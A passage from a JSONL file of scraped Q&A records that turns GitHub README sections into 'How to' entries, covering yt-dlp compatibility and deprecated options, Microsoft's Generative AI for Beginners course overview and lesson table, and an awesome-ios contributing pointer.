contains the `description`. You can [use `--parse-metadata`](#modifying-metadata) to modify this to your liking or use `--compat-options embed-metadata` to revert this\n* `playlist_index` behaves differently when used with options like `--playlist-reverse` and `--playlist-items`. See [#302](https://github.com/yt-dlp/yt-dlp/issues/302) for details. You can use `--compat-options playlist-index` if you want to keep the earlier behavior\n* The output of `-F` is listed in a new format. Use `--compat-options list-formats` to revert this\n* Live chats (if available) are considered as subtitles. Use `--sub-langs all,-live_chat` to download all subtitles except live chat. You can also use `--compat-options no-live-chat` to prevent any live chat/danmaku from downloading\n* YouTube channel URLs download all uploads of the channel. To download only the videos in a specific tab, pass the tab's URL. If the channel does not show the requested tab, an error will be raised. Also, `/live` URLs raise an error if there are no live videos instead of silently downloading the entire channel. You may use `--compat-options no-youtube-channel-redirect` to revert all these redirections\n* Unavailable videos are also listed for YouTube playlists. Use `--compat-options no-youtube-unavailable-videos` to remove this\n* The upload dates extracted from YouTube are in UTC.\n* If `ffmpeg` is used as the downloader, the downloading and merging of formats happen in a single step when possible. Use `--compat-options no-direct-merge` to revert this\n* Thumbnail embedding in `mp4` is done with mutagen if possible. Use `--compat-options embed-thumbnail-atomicparsley` to force the use of AtomicParsley instead\n* Some internal metadata such as filenames are removed by default from the infojson. Use `--no-clean-infojson` or `--compat-options no-clean-infojson` to revert this\n* When `--embed-subs` and `--write-subs` are used together, the subtitles are written to disk and also embedded in the media file. You can use just `--embed-subs` to embed the subs and automatically delete the separate file. See [#630 (comment)](ht", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418423"}
{"id": "gh_4a88adfbd5eb", "question": "How to: Deprecated options", "question_body": "About yt-dlp/yt-dlp", "answer": "These are all the deprecated options and the current alternative to achieve the same effect\n\n#### Almost redundant options\nWhile these options are almost the same as their new counterparts, there are some differences that prevents them being redundant\n\n    -j, --dump-json                  --print \"%()j\"\n    -F, --list-formats               --print formats_table\n    --list-thumbnails                --print thumbnails_table --print playlist:thumbnails_table\n    --list-subs                      --print automatic_captions_table --print subtitles_table\n\n#### Redundant options\nWhile these options are redundant, they are still expected to be used due to their ease of use\n\n    --get-description                --print description\n    --get-duration                   --print duration_string\n    --get-filename                   --print filename\n    --get-format                     --print format\n    --get-id                         --print id\n    --get-thumbnail                  --print thumbnail\n    -e, --get-title                  --print title\n    -g, --get-url                    --print urls\n    --match-title REGEX              --match-filters \"title ~= (?i)REGEX\"\n    --reject-title REGEX             --match-filters \"title !~= (?i)REGEX\"\n    --min-views COUNT                --match-filters \"view_count >=? COUNT\"\n    --max-views COUNT                --match-filters \"view_count <=? COUNT\"\n    --break-on-reject                Use --break-match-filters\n    --user-agent UA                  --add-headers \"User-Agent:UA\"\n    --referer URL                    --add-headers \"Referer:URL\"\n    --playlist-start NUMBER          -I NUMBER:\n    --playlist-end NUMBER            -I :NUMBER\n    --playlist-reverse               -I ::-1\n    --no-playlist-reverse            Default\n    --no-colors                      --color no_color\n\n#### Not recommended\nWhile these options still work, their use is not recommended since there are other alternatives to achieve the same\n\n    --force-generic-extractor        --ies generic,default\n    --exec-before-download CMD       --exec \"before_dl:CMD\"\n    --no-exec-before-download        --no-exec\n    --all-formats                    -f all\n    --all-subs                       --sub-langs all --write-subs\n    --print-json                     -j --no-simulate\n    --autonumber-size NUMBER         Use string formatting, e.g. %(autonumber)03d\n    --autonumber-start NUMBER        Use internal field formatting like %(autonumber+NUMBER)s\n    --id                             -o \"%(id)s.%(ext)s\"\n    --metadata-from-title FORMAT     --parse-metadata \"%(title)s:FORMAT\"\n    --hls-prefer-native              --downloader \"m3u8:native\"\n    --hls-prefer-ffmpeg              --downloader \"m3u8:ffmpeg\"\n    --list-formats-old               --compat-options list-formats (Alias: --no-list-formats-as-table)\n    --list-formats-as-table          --compat-options -list-formats [Default]\n    --geo-bypass                     --xff \"default\"\n    --no-geo-bypass                  --xff \"never\"\n    --geo-bypass-country CODE        --xff CODE\n    --geo-bypass-ip-block IP_BLOCK   --xff IP_BLOCK\n\n#### Developer options\nThese options are not intended to be used by the end-user\n\n    --test                           Download only part of video for testing extractors\n    --load-pages                     Load pages dumped by --write-pages\n    --allow-unplayable-formats       List unplayable formats also\n    --no-allow-unplayable-formats    Default\n\n#### Old aliases\nThese are aliases that are no longer documented for various reasons\n\n    --clean-infojson                 --clean-info-json\n    --force-write-download-archive   --force-write-archive\n    --no-clean-infojson              --no-clean-info-json\n    --no-split-tracks                --no-split-chapters\n    --no-write-srt                   --no-write-subs\n    --prefer-unsecure                --prefer-insecure\n    --rate-limit RATE                --limit-rate RATE\n    --split-tracks                   --split-chapters\n    --srt-lang LANGS                 --sub-langs LANGS\n    --trim-file-names LENGTH         --trim-filenames LENGTH\n    --write-srt                      --write-subs\n    --yes-overwrites                 --force-overwrites\n\n#### Sponskrub Options\nSupport for [SponSkrub](https://github.com/faissaloo/SponSkrub) has been removed in favor of the `--sponsorblock` options\n\n    --sponskrub                      --sponsorblock-mark all\n    --no-sponskrub                   --no-sponsorblock\n    --sponskrub-cut                  --sponsorblock-remove all\n    --no-sponskrub-cut               --sponsorblock-remove -all\n    --sponskrub-force                Not applicable\n    --no-sponskrub-force             Not applicable\n    --sponskrub-location             Not applicable\n    --sponskrub-args                 Not applicable\n\n#### No longer supported\nThese options may no longer work as intended\n\n    --prefer-avconv                  avconv is not officially supported by yt-dlp (Alias: --no-", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418444"}
{"id": "gh_c637b7ee4556", "question": "How to: CONTRIBUTING", "question_body": "About yt-dlp/yt-dlp", "answer": "See [CONTRIBUTING.md](CONTRIBUTING.md#contributing-to-yt-dlp) for instructions on [Opening an Issue](CONTRIBUTING.md#opening-an-issue) and [Contributing code to the project](CONTRIBUTING.md#developer-instructions)", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418450"}
{"id": "gh_0d552ca364dc", "question": "How to: 21 Lessons teaching everything you need to know to start building Generative AI applications", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "[![GitHub license](https://img.shields.io/github/license/microsoft/Generative-AI-For-Beginners.svg)](https://github.com/microsoft/Generative-AI-For-Beginners/blob/master/LICENSE?WT.mc_id=academic-105485-koreyst)\n[![GitHub contributors](https://img.shields.io/github/contributors/microsoft/Generative-AI-For-Beginners.svg)](https://GitHub.com/microsoft/Generative-AI-For-Beginners/graphs/contributors/?WT.mc_id=academic-105485-koreyst)\n[![GitHub issues](https://img.shields.io/github/issues/microsoft/Generative-AI-For-Beginners.svg)](https://GitHub.com/microsoft/Generative-AI-For-Beginners/issues/?WT.mc_id=academic-105485-koreyst)\n[![GitHub pull-requests](https://img.shields.io/github/issues-pr/microsoft/Generative-AI-For-Beginners.svg)](https://GitHub.com/microsoft/Generative-AI-For-Beginners/pulls/?WT.mc_id=academic-105485-koreyst)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com?WT.mc_id=academic-105485-koreyst)\n\n[![GitHub watchers](https://img.shields.io/github/watchers/microsoft/Generative-AI-For-Beginners.svg?style=social&label=Watch)](https://GitHub.com/microsoft/Generative-AI-For-Beginners/watchers/?WT.mc_id=academic-105485-koreyst)\n[![GitHub forks](https://img.shields.io/github/forks/microsoft/Generative-AI-For-Beginners.svg?style=social&label=Fork)](https://GitHub.com/microsoft/Generative-AI-For-Beginners/network/?WT.mc_id=academic-105485-koreyst)\n[![GitHub stars](https://img.shields.io/github/stars/microsoft/Generative-AI-For-Beginners.svg?style=social&label=Star)](https://GitHub.com/microsoft/Generative-AI-For-Beginners/stargazers/?WT.mc_id=academic-105485-koreyst)\n\n[![Microsoft Foundry Discord](https://dcbadge.limes.pink/api/server/nTYy5BXMWG)](https://discord.gg/nTYy5BXMWG)", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645414"}
{"id": "gh_a3e5ea1b2c08", "question": "How to: 🌐 Multi-Language Support", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "#### Supported via GitHub Action (Automated & Always Up-to-Date)\n[Arabic](./translations/ar/README.md) | [Bengali](./translations/bn/README.md) | [Bulgarian](./translations/bg/README.md) | [Burmese (Myanmar)](./translations/my/README.md) | [Chinese (Simplified)](./translations/zh/README.md) | [Chinese (Traditional, Hong Kong)](./translations/hk/README.md) | [Chinese (Traditional, Macau)](./translations/mo/README.md) | [Chinese (Traditional, Taiwan)](./translations/tw/README.md) | [Croatian](./translations/hr/README.md) | [Czech](./translations/cs/README.md) | [Danish](./translations/da/README.md) | [Dutch](./translations/nl/README.md) | [Estonian](./translations/et/README.md) | [Finnish](./translations/fi/README.md) | [French](./translations/fr/README.md) | [German](./translations/de/README.md) | [Greek](./translations/el/README.md) | [Hebrew](./translations/he/README.md) | [Hindi](./translations/hi/README.md) | [Hungarian](./translations/hu/README.md) | [Indonesian](./translations/id/README.md) | [Italian](./translations/it/README.md) | [Japanese](./translations/ja/README.md) | [Kannada](./translations/kn/README.md) | [Korean](./translations/ko/README.md) | [Lithuanian](./translations/lt/README.md) | [Malay](./translations/ms/README.md) | [Malayalam](./translations/ml/README.md) | [Marathi](./translations/mr/README.md) | [Nepali](./translations/ne/README.md) | [Nigerian Pidgin](./translations/pcm/README.md) | [Norwegian](./translations/no/README.md) | [Persian (Farsi)](./translations/fa/README.md) | [Polish](./translations/pl/README.md) | [Portuguese (Brazil)](./translations/br/README.md) | [Portuguese (Portugal)](./translations/pt/README.md) | [Punjabi (Gurmukhi)](./translations/pa/README.md) | [Romanian](./translations/ro/README.md) | [Russian](./translations/ru/README.md) | [Serbian (Cyrillic)](./translations/sr/README.md) | [Slovak](./translations/sk/README.md) | [Slovenian](./translations/sl/README.md) | [Spanish](./translations/es/README.md) | [Swahili](./translations/sw/README.md) | [Swedish](./translations/sv/README.md) | [Tagalog (Filipino)](./translations/tl/README.md) | [Tamil](./translations/ta/README.md) | [Telugu](./translations/te/README.md) | [Thai](./translations/th/README.md) | [Turkish](./translations/tr/README.md) | [Ukrainian](./translations/uk/README.md) | [Urdu](./translations/ur/README.md) | [Vietnamese](./translations/vi/README.md)", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645433"}
{"id": "gh_4ccbff751763", "question": "How to: Generative AI for Beginners (Version 3) - A Course", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "Learn the fundamentals of building Generative AI applications with our 21-lesson comprehensive course by Microsoft Cloud Advocates.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645439"}
{"id": "gh_cf3d6c876532", "question": "How to: 🌱 Getting Started", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "This course has 21 lessons. Each lesson covers its own topic so start wherever you like!\n\nLessons are labeled either \"Learn\" lessons explaining a Generative AI concept or \"Build\" lessons that explain a concept and code examples in both **Python** and **TypeScript** when possible.\n\nFor .NET Developers checkout [Generative AI for Beginners (.NET Edition)](https://github.com/microsoft/Generative-AI-for-beginners-dotnet?WT.mc_id=academic-105485-koreyst)!\n\nEach lesson also includes a \"Keep Learning\" section with additional learning tools.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645446"}
{"id": "gh_47587147423b", "question": "How to: To run the code of this course, you can use either:", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "- [Azure OpenAI Service](https://aka.ms/genai-beginners/azure-open-ai?WT.mc_id=academic-105485-koreyst) - **Lessons:** \"aoai-assignment\"\n - [GitHub Marketplace Model Catalog](https://aka.ms/genai-beginners/gh-models?WT.mc_id=academic-105485-koreyst) - **Lessons:** \"githubmodels\"\n - [OpenAI API](https://aka.ms/genai-beginners/open-ai?WT.mc_id=academic-105485-koreyst) - **Lessons:** \"oai-assignment\" \n   \n- Basic knowledge of Python or TypeScript is helpful - \\*For absolute beginners check out these [Python](https://aka.ms/genai-beginners/python?WT.mc_id=academic-105485-koreyst) and [TypeScript](https://aka.ms/genai-beginners/typescript?WT.mc_id=academic-105485-koreyst) courses\n- A GitHub account to [fork this entire repo](https://aka.ms/genai-beginners/github?WT.mc_id=academic-105485-koreyst) to your own GitHub account\n\nWe have created a **[Course Setup](./00-course-setup/README.md?WT.mc_id=academic-105485-koreyst)** lesson to help you with setting up your development environment.\n\nDon't forget to [star (🌟) this repo](https://docs.github.com/en/get-started/exploring-projects-on-github/saving-repositories-with-stars?WT.mc_id=academic-105485-koreyst) to find it easier later.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645456"}
{"id": "gh_a9280f53c54e", "question": "How to: 🧠 Ready to Deploy?", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "If you are looking for more advanced code samples, check out our [collection of Generative AI Code Samples](https://aka.ms/genai-beg-code?WT.mc_id=academic-105485-koreyst) in both **Python** and **TypeScript**.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645461"}
{"id": "gh_f6632bb7c801", "question": "How to: 🗣️ Meet Other Learners, Get Support", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "Join our [official Azure AI Foundry Discord server](https://aka.ms/genai-discord?WT.mc_id=academic-105485-koreyst) to meet and network with other learners taking this course and get support.\n\nAsk questions or share product feedback in our [Azure AI Foundry Developer Forum](https://aka.ms/azureaifoundry/forum) on Github.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645467"}
{"id": "gh_b8359c278528", "question": "How to: 🚀 Building a Startup?", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "Visit [Microsoft for Startups](https://www.microsoft.com/startups) to find out how to get started building with Azure credits today.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645472"}
{"id": "gh_4da70e190a1a", "question": "How to: 🙏 Want to help?", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "Do you have suggestions or found spelling or code errors? [Raise an issue](https://github.com/microsoft/generative-ai-for-beginners/issues?WT.mc_id=academic-105485-koreyst) or [Create a pull request](https://github.com/microsoft/generative-ai-for-beginners/pulls?WT.mc_id=academic-105485-koreyst)", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645477"}
{"id": "gh_020e379eeca8", "question": "How to: 📂 Each lesson includes:", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "- A short video introduction to the topic\n- A written lesson located in the README\n- Python and TypeScript code samples supporting Azure OpenAI and OpenAI API\n- Links to extra resources to continue your learning", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645482"}
{"id": "gh_a10ee2f0c0d2", "question": "How to: 🗃️ Lessons", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "| #   | **Lesson Link**                                                                                                                              | **Description**                                                                                 | **Video**                                                                   | **Extra Learning**                                                             |\n| --- | -------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------ |\n| 00  | [Course Setup](./00-course-setup/README.md?WT.mc_id=academic-105485-koreyst)                                                                 | **Learn:** How to Setup Your Development Environment                                            | Video Coming Soon                                                                 | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 01  | [Introduction to Generative AI and LLMs](./01-introduction-to-genai/README.md?WT.mc_id=academic-105485-koreyst)                              | **Learn:** Understanding what Generative AI is and how Large Language Models (LLMs) work.       | [Video](https://aka.ms/gen-ai-lesson-1-gh?WT.mc_id=academic-105485-koreyst) | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 02  | [Exploring and comparing different LLMs](./02-exploring-and-comparing-different-llms/README.md?WT.mc_id=academic-105485-koreyst)             | **Learn:** How to select the right model for your use case                                      | [Video](https://aka.ms/gen-ai-lesson2-gh?WT.mc_id=academic-105485-koreyst)  | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 03  | [Using Generative AI Responsibly](./03-using-generative-ai-responsibly/README.md?WT.mc_id=academic-105485-koreyst)                           | **Learn:** How to build Generative AI Applications responsibly                                  | [Video](https://aka.ms/gen-ai-lesson3-gh?WT.mc_id=academic-105485-koreyst)  | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 04  | [Understanding Prompt Engineering Fundamentals](./04-prompt-engineering-fundamentals/README.md?WT.mc_id=academic-105485-koreyst)             | **Learn:** Hands-on Prompt Engineering Best Practices                                           | [Video](https://aka.ms/gen-ai-lesson4-gh?WT.mc_id=academic-105485-koreyst)  | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 05  | [Creating Advanced Prompts](./05-advanced-prompts/README.md?WT.mc_id=academic-105485-koreyst)                                                | **Learn:** How to apply prompt engineering techniques that improve the outcome of your prompts. | [Video](https://aka.ms/gen-ai-lesson5-gh?WT.mc_id=academic-105485-koreyst)  | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 06  | [Building Text Generation Applications](./06-text-generation-apps/README.md?WT.mc_id=academic-105485-koreyst)                                | **Build:** A text generation app using Azure OpenAI / OpenAI API                                | [Video](https://aka.ms/gen-ai-lesson6-gh?WT.mc_id=academic-105485-koreyst)  | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 07  | [Building Chat Applications](./07-building-chat-applications/README.md?WT.mc_id=academic-105485-koreyst)                                     | **Build:** Techniques for efficiently building and integrating chat applications.               | [Video](https://aka.ms/gen-ai-lessons7-gh?WT.mc_id=academic-105485-koreyst) | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 08  | [Building Search Apps Vector Databases](./08-building-search-applications/README.md?WT.mc_id=academic-105485-koreyst)                        | **Build:** A search application that uses Embeddings to search for data.                        | [Video](https://aka.ms/gen-ai-lesson8-gh?WT.mc_id=academic-105485-koreyst)  | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 09  | [Building Image Generation Applications](./09-building-image-applications/README.md?WT.mc_id=academic-105485-koreyst)                        | **Build:** An image generation application                                                       | [Video](https://aka.ms/gen-ai-lesson9-gh?WT.mc_id=academic-105485-koreyst)  | [Learn More](https://aka.ms/genai-collection?WT.mc_id=academic-105485-koreyst) |\n| 10  | [Building Low Code AI Applications](./10-building-low-code-ai-applications/README.md?WT.m", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 105250, "answer_score": 10, "has_code": true, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645506"}
{"id": "gh_7e027757a148", "question": "How to: 🌟 Special thanks", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "Special thanks to [**John Aziz**](https://www.linkedin.com/in/john0isaac/) for creating all of the GitHub Actions and workflows\n\n[**Bernhard Merkle**](https://www.linkedin.com/in/bernhard-merkle-738b73/) for making key contributions to each lesson to improve the learner and code experience.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645511"}
{"id": "gh_f3e4759603fe", "question": "How to: 🎒 Other Courses", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "Our team produces other courses! Check out:", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645516"}
{"id": "gh_eabfe6ecc1d1", "question": "How to: Azure / Edge / MCP / Agents", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "[![AZD for Beginners](https://img.shields.io/badge/AZD%20for%20Beginners-0078D4?style=for-the-badge&labelColor=E5E7EB&color=0078D4)](https://github.com/microsoft/AZD-for-beginners?WT.mc_id=academic-105485-koreyst)\n[![Edge AI for Beginners](https://img.shields.io/badge/Edge%20AI%20for%20Beginners-00B8E4?style=for-the-badge&labelColor=E5E7EB&color=00B8E4)](https://github.com/microsoft/edgeai-for-beginners?WT.mc_id=academic-105485-koreyst)\n[![MCP for Beginners](https://img.shields.io/badge/MCP%20for%20Beginners-009688?style=for-the-badge&labelColor=E5E7EB&color=009688)](https://github.com/microsoft/mcp-for-beginners?WT.mc_id=academic-105485-koreyst)\n[![AI Agents for Beginners](https://img.shields.io/badge/AI%20Agents%20for%20Beginners-00C49A?style=for-the-badge&labelColor=E5E7EB&color=00C49A)](https://github.com/microsoft/ai-agents-for-beginners?WT.mc_id=academic-105485-koreyst)\n\n---", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645523"}
{"id": "gh_6d6eac5bda35", "question": "How to: Generative AI Series", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "[![Generative AI for Beginners](https://img.shields.io/badge/Generative%20AI%20for%20Beginners-8B5CF6?style=for-the-badge&labelColor=E5E7EB&color=8B5CF6)](https://github.com/microsoft/generative-ai-for-beginners?WT.mc_id=academic-105485-koreyst)\n[![Generative AI (.NET)](https://img.shields.io/badge/Generative%20AI%20(.NET)-9333EA?style=for-the-badge&labelColor=E5E7EB&color=9333EA)](https://github.com/microsoft/Generative-AI-for-beginners-dotnet?WT.mc_id=academic-105485-koreyst)\n[![Generative AI (Java)](https://img.shields.io/badge/Generative%20AI%20(Java)-C084FC?style=for-the-badge&labelColor=E5E7EB&color=C084FC)](https://github.com/microsoft/generative-ai-for-beginners-java?WT.mc_id=academic-105485-koreyst)\n[![Generative AI (JavaScript)](https://img.shields.io/badge/Generative%20AI%20(JavaScript)-E879F9?style=for-the-badge&labelColor=E5E7EB&color=E879F9)](https://github.com/microsoft/generative-ai-with-javascript?WT.mc_id=academic-105485-koreyst)\n\n---", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645529"}
{"id": "gh_0e1fd6241073", "question": "How to: Core Learning", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "[![ML for Beginners](https://img.shields.io/badge/ML%20for%20Beginners-22C55E?style=for-the-badge&labelColor=E5E7EB&color=22C55E)](https://aka.ms/ml-beginners?WT.mc_id=academic-105485-koreyst)\n[![Data Science for Beginners](https://img.shields.io/badge/Data%20Science%20for%20Beginners-84CC16?style=for-the-badge&labelColor=E5E7EB&color=84CC16)](https://aka.ms/datascience-beginners?WT.mc_id=academic-105485-koreyst)\n[![AI for Beginners](https://img.shields.io/badge/AI%20for%20Beginners-A3E635?style=for-the-badge&labelColor=E5E7EB&color=A3E635)](https://aka.ms/ai-beginners?WT.mc_id=academic-105485-koreyst)\n[![Cybersecurity for Beginners](https://img.shields.io/badge/Cybersecurity%20for%20Beginners-F97316?style=for-the-badge&labelColor=E5E7EB&color=F97316)](https://github.com/microsoft/Security-101?WT.mc_id=academic-96948-sayoung)\n[![Web Dev for Beginners](https://img.shields.io/badge/Web%20Dev%20for%20Beginners-EC4899?style=for-the-badge&labelColor=E5E7EB&color=EC4899)](https://aka.ms/webdev-beginners?WT.mc_id=academic-105485-koreyst)\n[![IoT for Beginners](https://img.shields.io/badge/IoT%20for%20Beginners-14B8A6?style=for-the-badge&labelColor=E5E7EB&color=14B8A6)](https://aka.ms/iot-beginners?WT.mc_id=academic-105485-koreyst)\n[![XR Development for Beginners](https://img.shields.io/badge/XR%20Development%20for%20Beginners-38BDF8?style=for-the-badge&labelColor=E5E7EB&color=38BDF8)](https://github.com/microsoft/xr-development-for-beginners?WT.mc_id=academic-105485-koreyst)\n\n---", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645535"}
{"id": "gh_cd044d3342f4", "question": "How to: Copilot Series", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "[![Copilot for AI Paired Programming](https://img.shields.io/badge/Copilot%20for%20AI%20Paired%20Programming-FACC15?style=for-the-badge&labelColor=E5E7EB&color=FACC15)](https://aka.ms/GitHubCopilotAI?WT.mc_id=academic-105485-koreyst)\n[![Copilot for C#/.NET](https://img.shields.io/badge/Copilot%20for%20C%23/.NET-FBBF24?style=for-the-badge&labelColor=E5E7EB&color=FBBF24)](https://github.com/microsoft/mastering-github-copilot-for-dotnet-csharp-developers?WT.mc_id=academic-105485-koreyst)\n[![Copilot Adventure](https://img.shields.io/badge/Copilot%20Adventure-FDE68A?style=for-the-badge&labelColor=E5E7EB&color=FDE68A)](https://github.com/microsoft/CopilotAdventures?WT.mc_id=academic-105485-koreyst)", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645541"}
{"id": "gh_9e8279001089", "question": "How to: Getting Help", "question_body": "About microsoft/generative-ai-for-beginners", "answer": "If you get stuck or have any questions about building AI apps. Join fellow learners and experienced developers in discussions about MCP. It's a supportive community where questions are welcome and knowledge is shared freely.\n\n[![Microsoft Foundry Discord](https://dcbadge.limes.pink/api/server/nTYy5BXMWG)](https://discord.gg/nTYy5BXMWG)\n\nIf you have product feedback or errors while building visit:\n\n[![Microsoft Foundry Developer Forum](https://img.shields.io/badge/GitHub-Microsoft_Foundry_Developer_Forum-blue?style=for-the-badge&logo=github&color=000000&logoColor=fff)](https://aka.ms/foundry/forum)", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 105250, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/generative-ai-for-beginners", "collected_at": "2026-01-17T08:20:09.645546"}
{"id": "gh_1a1199172bd1", "question": "How to: Contributing and Collaborating", "question_body": "About vsouza/awesome-ios", "answer": "Please see [CONTRIBUTING](https://github.com/vsouza/awesome-ios/blob/master/.github/CONTRIBUTING.md) and [CODE-OF-CONDUCT](https://github.com/vsouza/awesome-ios/blob/master/CODE_OF_CONDUCT.md) for details.", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579598"}
